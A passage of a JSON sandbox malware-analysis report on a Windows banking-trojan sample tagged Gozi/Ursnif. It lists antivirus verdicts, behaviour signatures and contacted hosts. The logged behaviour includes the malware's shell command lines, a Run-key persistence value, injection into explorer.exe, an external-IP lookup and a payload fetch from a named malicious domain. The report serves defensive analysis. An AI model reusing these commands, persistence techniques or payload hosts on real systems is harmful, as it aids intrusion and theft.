HouseCall","success":true,"verdict":"malicious","threat_name":"TSPY_IN.4EFC69C7","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"viritexplorer":{"name":"Vir.IT eXplorer","success":true,"verdict":"malicious","threat_name":"Trojan.Win32.Papras.EGH","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"virusblokada":{"name":"VirusBlokAda","success":true,"verdict":"malicious","threat_name":"Trojan.IRCbot","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"webrootsmd":{"name":"Webroot SMD","success":true,"verdict":"malicious","threat_name":"Malware","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"xvirusantimalware":{"name":"Xvirus Anti-Malware","success":true,"verdict":"undetected","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"}}},"rule_matches":{},"attributions":{"malware_families":[{"value":"Trojan.BRMon.Generic","sources":[{"report_type":"quickscan","report_id":""}]}]},"sandbox_signatures":[{"level":"informative","category":"Anti-Reverse Engineering","name":"Contains ability to register a top-level exception handler (often used as anti-debugging trick)","description":"SetUnhandledExceptionFilter@KERNEL32.dll at 22655-3100-00407AD1","origin":"Hybrid Analysis Technology","relevance":1,"id":"stream-4","sources":[{"report_type":"sandbox","report_id":"5a720a317ca3e14a1770fa93"}]},{"level":"informative","category":"Environment Awareness","name":"Contains ability to query machine time","description":"GetSystemTimeAsFileTime@KERNEL32.DLL at 00016010-00001796-28282-55-00403A10\n GetSystemTimeAsFileTime@KERNEL32.DLL at 00016597-00002464-31096-55-00403A10","origin":"Hybrid Analysis Technology","relevance":1,"id":"stream-2","sources":[{"report_type":"sandbox","report_id":"5a720a317ca3e14a1770fa93"}]},{"level":"informative","category":"Environment Awareness","name":"Contains ability to query the machine version","description":"GetVersion@KERNEL32.DLL at 00016010-00001796-28282-82-00401825\n GetVersion@KERNEL32.DLL at 00016597-00002464-31096-82-00401825","origin":"Hybrid Analysis Technology","relevance":1,"id":"stream-3","sources":[{"report_type":"sandbox","report_id":"5a720a317ca3e14a1770fa93"}]},{"level":"informative","category":"Environment Awareness","name":"Makes a code branch decision directly after an API that is environment aware","description":"Found API call GetVersion@KERNEL32.DLL (Target: \"a12830390ff7a7c52aaea328bfb990937dd2743475cad44a1ab458159000514b.exe\"; Stream UID: \"00016010-00001796-28282-82-00401825\")\n which is directly followed by \"cmp al, 05h\" and \"jne 00401853h\". See related instructions: \"...+30 call dword ptr [004060F8h] ;GetVersion+36 cmp al, 05h+38 jne 00401853h\" ... at 00016010-00001796-28282-82-00401825\n Found API call GetVersion@KERNEL32.DLL (Target: \"clfs10_1.exe\"; Stream UID: \"00016597-00002464-31096-82-00401825\")\n which is directly followed by \"cmp al, 05h\" and \"jne 00401853h\". See related instructions: \"...+30 call dword ptr [004060F8h] ;GetVersion+36 cmp al, 05h+38 jne 00401853h\" ... at 00016597-00002464-31096-82-00401825","origin":"Hybrid Analysis Technology","relevance":10,"id":"stream-39","sources":[{"report_type":"sandbox","report_id":"5a720a317ca3e14a1770fa93"}]},{"level":"informative","category":"Environment Awareness","name":"Possibly tries to detect the presence of a debugger","description":"GetProcessHeap@KERNEL32.dll at 22655-3138-004174DB","origin":"Hybrid Analysis Technology","relevance":1,"id":"stream-31","sources":[{"report_type":"sandbox","report_id":"5a720a317ca3e14a1770fa93"}]},{"level":"informative","category":"Environment Awareness","name":"Reads the registry for installed applications","description":"\"\" (Path: \"HKCU\\SOFTWARE\\MICROSOFT\\WINDOWS\\CURRENTVERSION\\APP PATHS\\87C6.BAT\")\n \"\" (Path: \"HKLM\\SOFTWARE\\MICROSOFT\\WINDOWS\\CURRENTVERSION\\APP PATHS\\87C6.BAT\")","origin":"Registry Access","relevance":10,"id":"registry-55","sources":[{"report_type":"sandbox","report_id":"5a720a317ca3e14a1770fa93"}]},{"level":"informative","category":"External Systems","name":"Detected Emerging Threats Alert","description":"Detected alert \"ET POLICY TLS possible TOR SSL traffic\" (SID: 2018789, Rev: 3, Severity: 3) categorized as \"Misc activity\"","origin":"Suricata Alerts","relevance":10,"id":"suricata-0","sources":[{"report_type":"sandbox","report_id":"5a720a317ca3e14a1770fa93"}]},{"level":"informative","category":"General","name":"Contacts domains","description":"\"mondomusicatania.it\"\n \"www.mondomusicatania.it\"\n \"resolver1.opendns.com\"\n \"myip.opendns.com\"","origin":"Network Traffic","relevance":1,"id":"network-0","sources":[{"report_type":"sandbox","report_id":"5a720a317ca3e14a1770fa93"}]},{"level":"informative","category":"General","name":"Contacts server","description":"\"62.149.142.52:80\"\n \"76.73.17.194:9090\"\n \"194.109.206.212:443\"\n \"128.31.0.39:9101\"\n \"178.39.202.4:9001\"\n \"85.143.214.143:443\"\n \"164.132.209.131:443\"\n \"185.101.107.212:443\"\n \"104.206.237.24:9001\"\n \"212.51.156.165:9001\"\n \"46.4.40.67:443\"\n \"91.223.82.154:443\"\n \"87.118.114.134:443\"\n \"169.51.43.165:9090\"\n \"79.137.70.138:443\"\n \"23.254.128.38:993\"\n \"178.16.208.57:443\"\n \"79.219.247.253:9001\"\n \"51.15.78.99:443\"\n \"37.187.239.8:9001\"","origin":"Network Traffic","relevance":1,"id":"network-1","sources":[{"report_type":"sandbox","report_id":"5a720a317ca3e14a1770fa93"}]},{"level":"informative","category":"General","name":"Creates a writable file in a temporary directory","description":"$25","origin":"API Call","relevance":1,"id":"api-4","sources":[{"report_type":"sandbox","report_id":"5a720a317ca3e14a1770fa93"}]},{"level":"informative","category":"General","name":"Creates mutants","description":"\"\\Sessions\\1\\BaseNamedObjects\\Local\\ZonesCounterMutex\"\n \"\\Sessions\\1\\BaseNamedObjects\\Local\\ZoneAttributeCacheCounterMutex\"\n \"\\Sessions\\1\\BaseNamedObjects\\Local\\ZonesCacheCounterMutex\"\n \"\\Sessions\\1\\BaseNamedObjects\\Local\\ZonesLockedCacheCounterMutex\"\n \"Local\\ZonesLockedCacheCounterMutex\"\n \"Local\\ZoneAttributeCacheCounterMutex\"\n \"Local\\ZonesCacheCounterMutex\"\n \"Local\\ZonesCounterMutex\"","origin":"Created Mutant","relevance":3,"id":"mutant-0","sources":[{"report_type":"sandbox","report_id":"5a720a317ca3e14a1770fa93"}]},{"level":"informative","category":"General","name":"GETs files from a webserver","description":"\"GET /wp-includes/ID3/opds.tif HTTP/1.1Cache-Control: no-cacheConnection: Keep-AlivePragma: no-cacheHost: mondomusicatania.it\"\n \"GET /wp-includes/ID3/opds.tif HTTP/1.1Cache-Control: no-cacheConnection: Keep-AlivePragma: no-cacheHost: www.mondomusicatania.it\"","origin":"Network Traffic","relevance":5,"id":"network-2","sources":[{"report_type":"sandbox","report_id":"5a720a317ca3e14a1770fa93"}]},{"level":"informative","category":"General","name":"Process launched with changed environment","description":"Process \"explorer.exe\" (UID: 00017009-00001264) was launched with new environment variables: \"SESSIONNAME=\"Console\"\"\n Process \"explorer.exe\" (UID: 00017009-00001264) was launched with modified environment variables: \"Path\"\n Process \"explorer.exe\" (UID: 00017009-00001264) was launched with missing environment variables: \"PROMPT, MpConfig_ProductUserAppDataPath, MpConfig_ProductAppDataPath, MpConfig_ProductPath, MpConfig_ProductCodeName, MpConfig_ReportingGUID\"\n Process \"nslookup.exe\" (UID: 00018556-00003588) was launched with new environment variables: \"PROMPT=\"$P$G\"\"\n Process \"cmd.exe\" (UID: 00018574-00003572) was launched with missing environment variables: \"PROMPT\"","origin":"Monitored Target","relevance":10,"id":"target-67","sources":[{"report_type":"sandbox","report_id":"5a720a317ca3e14a1770fa93"}]},{"level":"informative","category":"General","name":"Runs shell commands","description":"\"cmd /c \"\"%APPDATA%\\MICROS~1\\Aepi-1-0\\clfs10_1.exe\" \"C:\\A12830~1.EXE\"\"\" on 2018-1-31.10:28:59.546\n \"cmd /C \"\"%APPDATA%\\MICROS~1\\Aepi-1-0\\clfs10_1.exe\" \"C:\\A12830~1.EXE\"\"\" on 2018-1-31.10:28:59.616\n \"cmd /C \"nslookup myip.opendns.com resolver1.opendns.com > %TEMP%\\BE24.bi1\"\" on 2018-1-31.10:29:19.204\n \"cmd /C \"echo -------- >> %TEMP%\\BE24.bi1\"\" on 2018-1-31.10:29:19.635","origin":"Monitored Target","relevance":5,"id":"target-3","sources":[{"report_type":"sandbox","report_id":"5a720a317ca3e14a1770fa93"}]},{"level":"informative","category":"General","name":"Scanning for window names","description":"\"\" searching for class \"ProgMan\"\n \"clfs10_1.exe\" searching for class \"ProgMan\"","origin":"API Call","relevance":10,"id":"api-70","sources":[{"report_type":"sandbox","report_id":"5a720a317ca3e14a1770fa93"}]},{"level":"informative","category":"General","name":"Spawns new processes","description":"Spawned process \"cmd.exe\" with commandline \"cmd /c \"\"%APPDATA%\\MICROS~1\\Aepi-1-0\\clfs10_1.exe\" \"C:\\A12830~1.EXE\"\"\" (UID: 00016586-00002136)\n Spawned process \"cmd.exe\" with commandline \"cmd /C \"\"%APPDATA%\\MICROS~1\\Aepi-1-0\\clfs10_1.exe\" \"C:\\A12830~1.EXE\"\"\" (UID: 00016593-00002364)\n Spawned process \"clfs10_1.exe\" with commandline \"\"C:\\A12830~1.EXE\"\" (UID: 00016597-00002464)\n Spawned process \"cmd.exe\" with commandline \"cmd /C \"nslookup myip.opendns.com resolver1.opendns.com > %TEMP%\\BE24.bi1\"\" (UID: 00018550-00003664)\n Spawned process \"nslookup.exe\" with commandline \"nslookup myip.opendns.com resolver1.opendns.com\" (UID: 00018556-00003588)\n Spawned process \"cmd.exe\" with commandline \"cmd /C \"echo -------- >> %TEMP%\\BE24.bi1\"\" (UID: 00018574-00003572)","origin":"Monitored Target","relevance":3,"id":"target-25","sources":[{"report_type":"sandbox","report_id":"5a720a317ca3e14a1770fa93"}]},{"level":"informative","category":"Installation/Persistance","name":"Connects to LPC ports","description":"\"\" connecting to \"\\ThemeApiPort\"","origin":"API Call","relevance":1,"id":"api-16","sources":[{"report_type":"sandbox","report_id":"5a720a317ca3e14a1770fa93"}]},{"level":"informative","category":"Installation/Persistance","name":"Dropped files","description":"\"clfs10_1.exe\" has type \"PE32 executable (GUI) Intel 80386 for MS Windows\"\n \"87C6.bat\" has type \"ASCII text with CRLF line terminators\"\n \"845A.tmp\" has type \"data\"\n \"98BE.tmp\" has type \"data\"\n \"8313.tmp\" has type \"data\"\n \"84E7.tmp\" has type \"data\"\n \"99A7.tmp\" has type \"data\"\n \"865E.tmp\" has type \"data\"\n \"84D7.tmp\" has type \"data\"\n \"9850.tmp\" has type \"data\"\n \"864E.tmp\" has type \"data\"\n \"84D8.tmp\" has type \"data\"\n \"83BD.tmp\" has type \"data\"\n \"8599.tmp\" has type \"data\"\n \"836E.tmp\" has type \"data\"\n \"9980.tmp\" has type \"data\"\n \"83C9.tmp\" has type \"data\"\n \"85EE.tmp\" has type \"data\"\n \"98CE.tmp\" has type \"data\"\n \"9939.tmp\" has type \"8086 relocatable (Microsoft)\"","origin":"Binary File","relevance":3,"id":"binary-0","sources":[{"report_type":"sandbox","report_id":"5a720a317ca3e14a1770fa93"}]},{"level":"informative","category":"Installation/Persistance","name":"Touches files in the Windows directory","description":"$26","origin":"API Call","relevance":7,"id":"api-55","sources":[{"report_type":"sandbox","report_id":"5a720a317ca3e14a1770fa93"}]},{"level":"informative","category":"Network Related","name":"Found potential URL in binary/memory","description":"$27","origin":"File/Memory","relevance":10,"id":"string-3","sources":[{"report_type":"sandbox","report_id":"5a720a317ca3e14a1770fa93"}]},{"level":"informative","category":"System Security","name":"Creates or modifies windows services","description":"\"nslookup.exe\" (Access type: \"CREATE\"; Path: \"HKLM\\SYSTEM\\CURRENTCONTROLSET\\SERVICES\\TCPIP\\PARAMETERS\")","origin":"Registry Access","relevance":10,"id":"registry-67","sources":[{"report_type":"sandbox","report_id":"5a720a317ca3e14a1770fa93"}]},{"level":"informative","category":"System Security","name":"Opens the Kernel Security Device Driver (KsecDD) of Windows","description":"\"\" opened \"\\Device\\KsecDD\"","origin":"API Call","relevance":10,"id":"api-37","sources":[{"report_type":"sandbox","report_id":"5a720a317ca3e14a1770fa93"}]},{"level":"informative","category":"Unusual Characteristics","name":"Matched Compiler/Packer signature","description":"\"a12830390ff7a7c52aaea328bfb990937dd2743475cad44a1ab458159000514b.exe.bin\" was detected as \"VC8 -> Microsoft Corporation\"\n \"clfs10_1.exe\" was detected as \"VC8 -> Microsoft Corporation\"","origin":"Static Parser","relevance":10,"id":"static-18","sources":[{"report_type":"sandbox","report_id":"5a720a317ca3e14a1770fa93"}]},{"level":"suspicious","category":"Anti-Detection/Stealthyness","name":"Queries process information","description":"\"clfs10_1.exe\" queried SystemProcessInformation at 00016597-00002464-00000105-46884125","origin":"API Call","relevance":4,"id":"api-9","sources":[{"report_type":"sandbox","report_id":"5a720a317ca3e14a1770fa93"}]},{"level":"suspicious","category":"Anti-Detection/Stealthyness","name":"Scanning for process managers","description":"\"\" searching for class \"ProgMan\"\n \"clfs10_1.exe\" searching for class \"ProgMan\"","origin":"API Call","relevance":10,"id":"api-15","sources":[{"report_type":"sandbox","report_id":"5a720a317ca3e14a1770fa93"}]},{"level":"suspicious","category":"Anti-Reverse Engineering","name":"Looks up many procedures within the same disassembly stream (often used to hide usage)","description":"Found 33 calls to GetProcAddress@KERNEL32.dll at 22655-1287-00406A12","origin":"Hybrid Analysis Technology","relevance":10,"id":"stream-40","sources":[{"report_type":"sandbox","report_id":"5a720a317ca3e14a1770fa93"}]},{"level":"suspicious","category":"Anti-Reverse Engineering","name":"PE file has unusual entropy sections","description":".rsrc\n .rsrc with unusual entropies 7.94229958306\n 7.94229958306","origin":"Static Parser","relevance":10,"id":"static-6","sources":[{"report_type":"sandbox","report_id":"5a720a317ca3e14a1770fa93"}]},{"level":"suspicious","category":"Cryptographic Related","name":"Found a cryptographic related string","description":"\"DES\" (Indicator: \"des\"; File: \"a12830390ff7a7c52aaea328bfb990937dd2743475cad44a1ab458159000514b.exe.bin\")","origin":"File/Memory","relevance":10,"id":"string-57","sources":[{"report_type":"sandbox","report_id":"5a720a317ca3e14a1770fa93"}]},{"level":"suspicious","category":"Environment Awareness","name":"Contains ability to query CPU information","description":"cpuid at 00016010-00001796-28282-23-00404C45\n cpuid at 00016597-00002464-31096-23-00404C45\n cpuid at 33013-147-0040775B","origin":"Hybrid Analysis Technology","relevance":10,"id":"stream-13","sources":[{"report_type":"sandbox","report_id":"5a720a317ca3e14a1770fa93"}]},{"level":"suspicious","category":"Environment Awareness","name":"Reads the active computer name","description":"\"\" (Path: \"HKLM\\SYSTEM\\CONTROLSET001\\CONTROL\\COMPUTERNAME\\ACTIVECOMPUTERNAME\"; Key: \"COMPUTERNAME\")\n \"clfs10_1.exe\" (Path: \"HKLM\\SYSTEM\\CONTROLSET001\\CONTROL\\COMPUTERNAME\\ACTIVECOMPUTERNAME\"; Key: \"COMPUTERNAME\")\n \"nslookup.exe\" (Path: \"HKLM\\SYSTEM\\CONTROLSET001\\CONTROL\\COMPUTERNAME\\ACTIVECOMPUTERNAME\"; Key: \"COMPUTERNAME\")","origin":"Registry Access","relevance":5,"id":"registry-35","sources":[{"report_type":"sandbox","report_id":"5a720a317ca3e14a1770fa93"}]},{"level":"suspicious","category":"External Systems","name":"Found an IP/URL artifact that was identified as malicious by at least one reputation engine","description":"5/66 reputation engines marked \"http://www.mondomusicatania.it\" as malicious (7% detection rate)\n 3/66 reputation engines marked \"http://mondomusicatania.it\" as malicious (4% detection rate)","origin":"External System","relevance":10,"id":"avtest-6","sources":[{"report_type":"sandbox","report_id":"5a720a317ca3e14a1770fa93"}]},{"level":"suspicious","category":"General","name":"Reads configuration files","description":"\"\" read file \"%USERPROFILE%\\Desktop\\desktop.ini\"","origin":"API Call","relevance":4,"id":"api-6","sources":[{"report_type":"sandbox","report_id":"5a720a317ca3e14a1770fa93"}]},{"level":"suspicious","category":"Installation/Persistance","name":"Drops executable files","description":"\"clfs10_1.exe\" has type \"PE32 executable (GUI) Intel 80386 for MS Windows\"","origin":"Binary File","relevance":10,"id":"binary-1","sources":[{"report_type":"sandbox","report_id":"5a720a317ca3e14a1770fa93"}]},{"level":"suspicious","category":"Installation/Persistance","name":"Modifies auto-execute functionality by setting/creating a value in the registry","description":"\"\" (Access type: \"SETVAL\"; Path: \"HKCU\\SOFTWARE\\MICROSOFT\\WINDOWS\\CURRENTVERSION\\RUN\"; Key: \"APSSDEUI\"; Value: \"%APPDATA%\\Microsoft\\Aepi-1-0\\clfs10_1.exe\")","origin":"Registry Access","relevance":8,"id":"registry-0","sources":[{"report_type":"sandbox","report_id":"5a720a317ca3e14a1770fa93"}]},{"level":"suspicious","category":"Network Related","name":"Detected increased number of ARP broadcast requests (network device lookup)","description":"Attempt to find devices in networks: \"192.168.56.25/32, ...\"","origin":"Network Traffic","relevance":10,"id":"network-32","sources":[{"report_type":"sandbox","report_id":"5a720a317ca3e14a1770fa93"}]},{"level":"suspicious","category":"Network Related","name":"Found potential IP address in binary/memory","description":"Heuristic match: \"Server: resolver1.opendns.comAddress: 208.67.222.222Name: myip.opendns.comAddress: 193.70.47.200--------\"\n Heuristic match: \"Address: 208.67.222.222\"\n Heuristic match: \"Address: 193.70.47.200\"","origin":"File/Memory","relevance":3,"id":"string-14","sources":[{"report_type":"sandbox","report_id":"5a720a317ca3e14a1770fa93"}]},{"level":"suspicious","category":"System Destruction","name":"Marks file for deletion","description":"$28","origin":"API Call","relevance":10,"id":"api-26","sources":[{"report_type":"sandbox","report_id":"5a720a317ca3e14a1770fa93"}]},{"level":"suspicious","category":"System Destruction","name":"Opens file with deletion access rights","description":"$29","origin":"API Call","relevance":7,"id":"api-25","sources":[{"report_type":"sandbox","report_id":"5a720a317ca3e14a1770fa93"}]},{"level":"suspicious","category":"System Security","name":"Modifies proxy settings","description":"\"\" (Access type: \"DELETEVAL\"; Path: \"HKCU\\SOFTWARE\\MICROSOFT\\WINDOWS\\CURRENTVERSION\\INTERNET SETTINGS\\ZONEMAP\"; Key: \"PROXYBYPASS\")\n \"\" (Access type: \"DELETEVAL\"; Path: \"HKLM\\SOFTWARE\\MICROSOFT\\WINDOWS\\CURRENTVERSION\\INTERNET SETTINGS\\ZONEMAP\"; Key: \"PROXYBYPASS\")","origin":"Registry Access","relevance":10,"id":"registry-27","sources":[{"report_type":"sandbox","report_id":"5a720a317ca3e14a1770fa93"}]},{"level":"suspicious","category":"System Security","name":"Queries sensitive IE security settings","description":"\"\" (Path: \"HKCU\\SOFTWARE\\MICROSOFT\\INTERNET EXPLORER\\SECURITY\"; Key: \"DISABLESECURITYSETTINGSCHECK\")","origin":"Registry Access","relevance":8,"id":"registry-36","sources":[{"report_type":"sandbox","report_id":"5a720a317ca3e14a1770fa93"}]},{"level":"suspicious","category":"Unusual Characteristics","name":"Imports suspicious APIs","description":"SetSecurityDescriptorDacl\n GetDriveTypeW\n WriteFile\n GetModuleFileNameW\n IsDebuggerPresent\n UnhandledExceptionFilter\n LoadLibraryExW\n ExitThread\n TerminateProcess\n GetModuleHandleExW\n LoadLibraryW\n GetTickCount\n LoadLibraryA\n GetStartupInfoW\n FindNextFileW\n FindFirstFileExW\n GetProcAddress\n CreateFileW\n GetCommandLineW\n GetCommandLineA\n GetModuleHandleA\n GetModuleHandleW\n ShellExecuteA","origin":"Static Parser","relevance":1,"id":"static-1","sources":[{"report_type":"sandbox","report_id":"5a720a317ca3e14a1770fa93"}]},{"level":"suspicious","category":"Unusual Characteristics","name":"Installs hooks/patches the running process","description":"$2a","origin":"Hook Detection","relevance":10,"id":"hooks-8","sources":[{"report_type":"sandbox","report_id":"5a720a317ca3e14a1770fa93"}]},{"level":"malicious","category":"External Systems","name":"Found an IP/URL artifact that was identified as malicious by a significant amount of reputation engines","description":"5/66 reputation engines marked \"http://www.mondomusicatania.it\" as malicious (7% detection rate)\n 3/66 reputation engines marked \"http://mondomusicatania.it\" as malicious (4% detection rate)","origin":"External System","relevance":10,"id":"avtest-7","sources":[{"report_type":"sandbox","report_id":"5a720a317ca3e14a1770fa93"}]},{"level":"malicious","category":"External Systems","name":"Sample was identified as malicious by at least one Antivirus engine","description":"9/67 Antivirus vendors marked sample as malicious (13% detection rate)","origin":"External System","relevance":8,"id":"avtest-0","sources":[{"report_type":"sandbox","report_id":"5a720a317ca3e14a1770fa93"}]},{"level":"malicious","category":"General","name":"The analysis extracted a file that was identified as malicious","description":"9/67 Antivirus vendors marked dropped file \"clfs10_1.exe\" as malicious (classified as \"Trojan.WisdomEyes.16070401.9500\" with 13% detection rate)","origin":"Binary File","relevance":10,"id":"binary-11","sources":[{"report_type":"sandbox","report_id":"5a720a317ca3e14a1770fa93"}]},{"level":"malicious","category":"General","name":"The analysis spawned a process that was identified as malicious","description":"9/67 Antivirus vendors marked spawned process \"clfs10_1.exe\" (PID: 2464) as malicious (classified as \"Trojan.WisdomEyes.16070401.9500\" with 13% detection rate)","origin":"Monitored Target","relevance":10,"id":"target-58","sources":[{"report_type":"sandbox","report_id":"5a720a317ca3e14a1770fa93"}]},{"level":"malicious","category":"Installation/Persistance","name":"Injects into explorer","description":"Injected into \"explorer.exe\" (UID: 00017009-00001264)","origin":"Monitored Target","relevance":5,"id":"target-20","sources":[{"report_type":"sandbox","report_id":"5a720a317ca3e14a1770fa93"}]},{"level":"malicious","category":"Installation/Persistance","name":"Injects into remote processes","description":"Injected into \"explorer.exe\" at 2018-1-31.10:29:03.902 (UID: 00017009-00001264)","origin":"Monitored Target","relevance":6,"id":"target-0","sources":[{"report_type":"sandbox","report_id":"5a720a317ca3e14a1770fa93"}]},{"level":"malicious","category":"Installation/Persistance","name":"Writes data to a remote process","description":"\"clfs10_1.exe\" wrote 4 bytes to a remote process \"%WINDIR%\\explorer.exe\" (Handle: 204)\n \"clfs10_1.exe\" wrote 792 bytes to a remote process \"%WINDIR%\\explorer.exe\" (Handle: 204)","origin":"API Call","relevance":6,"id":"api-0","sources":[{"report_type":"sandbox","report_id":"5a720a317ca3e14a1770fa93"}]},{"level":"malicious","category":"Network Related","name":"Malicious artifacts seen in the context of a contacted host","description":"$2b","origin":"Network Traffic","relevance":10,"id":"network-21","sources":[{"report_type":"sandbox","report_id":"5a720a317ca3e14a1770fa93"}]},{"level":"malicious","category":"Network Related","name":"Tries to identify its external IP address","description":"\"myip.opendns.com\"","origin":"Network Traffic","relevance":6,"id":"network-24","sources":[{"report_type":"sandbox","report_id":"5a720a317ca3e14a1770fa93"}]},{"level":"malicious","category":"System Security","name":"Disables SPDY-connections","description":"\"explorer.exe\" (Path: \"HKCU\\SOFTWARE\\MICROSOFT\\WINDOWS\\CURRENTVERSION\\INTERNET SETTINGS\"; Key: \"ENABLESPDY3_0\"; Value: \"00000000\")","origin":"Registry Access","relevance":5,"id":"registry-41","sources":[{"report_type":"sandbox","report_id":"5a720a317ca3e14a1770fa93"}]},{"level":"malicious","category":"Unusual Characteristics","name":"Contains native function calls","description":"NtUnmapViewOfSection@NTDLL.DLL at 00016010-00001796-28282-8-00403F7B\n NtQuerySystemInformation@NTDLL.DLL at 00016010-00001796-28282-3-004024D1\n NtMapViewOfSection@NTDLL.DLL at 00016010-00001796-28282-33-0040475A\n NtQueryVirtualMemory@NTDLL.DLL at 00016010-00001796-28282-88-00405255\n NtQueryInformationProcess@NTDLL.DLL at 00016010-00001796-28282-42-0040231F\n NtCreateSection@NTDLL.DLL at 00016010-00001796-28282-34-00404799\n NtOpenProcess@NTDLL.DLL at 00016010-00001796-28282-79-0040303A\n NtQuerySystemInformation@NTDLL.DLL at 00016597-00002464-31096-3-004024D1\n NtUnmapViewOfSection@NTDLL.DLL at 00016597-00002464-31096-8-00403F7B\n NtCreateSection@NTDLL.DLL at 00016597-00002464-31096-34-00404799\n NtMapViewOfSection@NTDLL.DLL at 00016597-00002464-31096-33-0040475A\n NtQueryInformationProcess@NTDLL.DLL at 00016597-00002464-31096-42-0040231F\n NtQueryVirtualMemory@NTDLL.DLL at 00016597-00002464-31096-88-00405255\n NtOpenProcess@NTDLL.DLL at 00016597-00002464-31096-79-0040303A","origin":"Hybrid Analysis Technology","relevance":5,"id":"stream-22","sources":[{"report_type":"sandbox","report_id":"5a720a317ca3e14a1770fa93"}]},{"level":"malicious","category":"Unusual Characteristics","name":"Spawns a lot of processes","description":"Spawned process \"\" (UID: 00016010-00001796)\n Spawned process \"cmd.exe\" with commandline \"cmd /c \"\"%APPDATA%\\MICROS~1\\Aepi-1-0\\clfs10_1.exe\" \"C:\\A12830~1.EXE\"\"\" (UID: 00016586-00002136)\n Spawned process \"cmd.exe\" with commandline \"cmd /C \"\"%APPDATA%\\MICROS~1\\Aepi-1-0\\clfs10_1.exe\" \"C:\\A12830~1.EXE\"\"\" (UID: 00016593-00002364)\n Spawned process \"clfs10_1.exe\" with commandline \"\"C:\\A12830~1.EXE\"\" (UID: 00016597-00002464)\n Spawned process \"cmd.exe\" with commandline \"cmd /C \"nslookup myip.opendns.com resolver1.opendns.com > %TEMP%\\BE24.bi1\"\" (UID: 00018550-00003664)\n Spawned process \"nslookup.exe\" with commandline \"nslookup myip.opendns.com resolver1.opendns.com\" (UID: 00018556-00003588)\n Spawned process \"cmd.exe\" with commandline \"cmd /C \"echo -------- >> %TEMP%\\BE24.bi1\"\" (UID: 00018574-00003572)","origin":"Monitored Target","relevance":8,"id":"target-14","sources":[{"report_type":"sandbox","report_id":"5a720a317ca3e14a1770fa93"}]}],"incidents":[{"name":"Remote Access","details_count":2,"details":[{"detail":"Uses network protocols on unusual ports"},{"detail":"Tries to identify its external IP address"}],"sources":[{"report_type":"sandbox","report_id":"5a720a317ca3e14a1770fa93"}]},{"name":"Persistence","details_count":5,"details":[{"detail":"Writes data to a remote process"},{"detail":"Modifies auto-execute functionality by setting/creating a value in the registry"},{"detail":"Injects into remote processes"},{"detail":"Spawns a lot of processes"},{"detail":"Injects into explorer"}],"sources":[{"report_type":"sandbox","report_id":"5a720a317ca3e14a1770fa93"}]},{"name":"Fingerprint","details_count":2,"details":[{"detail":"Tries to identify its external IP address"},{"detail":"Reads the active computer name"}],"sources":[{"report_type":"sandbox","report_id":"5a720a317ca3e14a1770fa93"}]},{"name":"Spreading","details_count":1,"details":[{"detail":"Opens the MountPointManager (often used to detect additional infection locations)"}],"sources":[{"report_type":"sandbox","report_id":"5a720a317ca3e14a1770fa93"}]},{"name":"Network Behavior","details_count":1,"details":[{"detail":"Contacts 4 domains and 4 hosts"}],"sources":[{"report_type":"sandbox","report_id":"5a720a317ca3e14a1770fa93"}]}]},"activity":{"stats":{"process_count":5,"spawned_processes_count":5,"injected_processes_count":0,"script_calls_count":0,"mutex_created_count":16,"imported_dlls_count":65,"dropped_files_count":0,"extracted_files_count":20,"files_written_count":58,"files_deleted_count":0,"registry_keys_created_count":6,"registry_keys_modified_count":0,"registry_keys_deleted_count":0,"registry_keys_opened_count":0,"registry_keys_queried_count":0,"registry_operations_count":6,"embedded_ips_count":0,"embedded_domains_count":0,"embedded_urls_count":0,"contacted_hosts_count":75,"dns_resolutions_count":4,"contacted_urls_count":1,"http_requests_count":1},"behavior_tags":["suspicious","gozi","isfb","papras","ursnif"],"sample_flags":["Multi-Process","Network Traffic","Extracted Files"],"sandbox_reports":[{"id":"5a720a317ca3e14a1770fa93","environment_id":100,"environment_description":"Windows 7 32 bit","state":"SUCCESS","verdict":"malicious","threat_score":100,"malware_family":"Trojan.WisdomEyes.16070401.9500","contacted_countries":["BGR","CAN","CHE","DEU","EU","FIN","FRA","GBR","ITA","LTU","LVA","NLD","NZL","ROU","RUS","SWE","UKR","USA"],"submit_name":"91ky4v9x7eidi.exe","analysis_start_time":"2018-01-31T19:26:16+00:00","indicators_count":{"informative":23,"suspicious":24,"malicious":20},"tags":["Multi-Process","Network Traffic","Extracted Files"],"is_in_unified_schema":true}],"network_activity":{"contacted_hosts":[{"address":"62.149.142.52","port":80,"protocol":"TCP","country":"Italy","sources":[{"report_type":"sandbox","report_id":"5a720a317ca3e14a1770fa93"}]},{"address":"76.73.17.194","port":9090,"protocol":"TCP","country":"United States","sources":[{"report_type":"sandbox","report_id":"5a720a317ca3e14a1770fa93"}]},{"address":"194.109.206.212","port":443,"protocol":"TCP","country":"Netherlands","sources":[{"report_type":"sandbox","report_id":"5a720a317ca3e14a1770fa93"}]},{"address":"128.31.0.39","port":9101,"protocol":"TCP","country":"United States","sources":[{"report_type":"sandbox","report_id":"5a720a317ca3e14a1770fa93"}]},{"address":"178.39.202.4","port":9001,"protocol":"TCP","country":"Switzerland","sources":[{"report_type":"sandbox","report_id":"5a720a317ca3e14a1770fa93"}]},{"address":"85.143.214.143","port":443,"protocol":"TCP","country":"Russian Federation","sources":[{"report_type":"sandbox","report_id":"5a720a317ca3e14a1770fa93"}]},{"address":"164.132.209.131","port":443,"protocol":"TCP","country":"France","sources":[{"report_type":"sandbox","report_id":"5a720a317ca3e14a1770fa93"}]},{"address":"185.101.107.212","port":443,"protocol":"TCP","country":"Romania","sources":[{"report_type":"sandbox","report_id":"5a720a317ca3e14a1770fa93"}]},{"address":"104.206.237.24","port":9001,"protocol":"TCP","country":"United 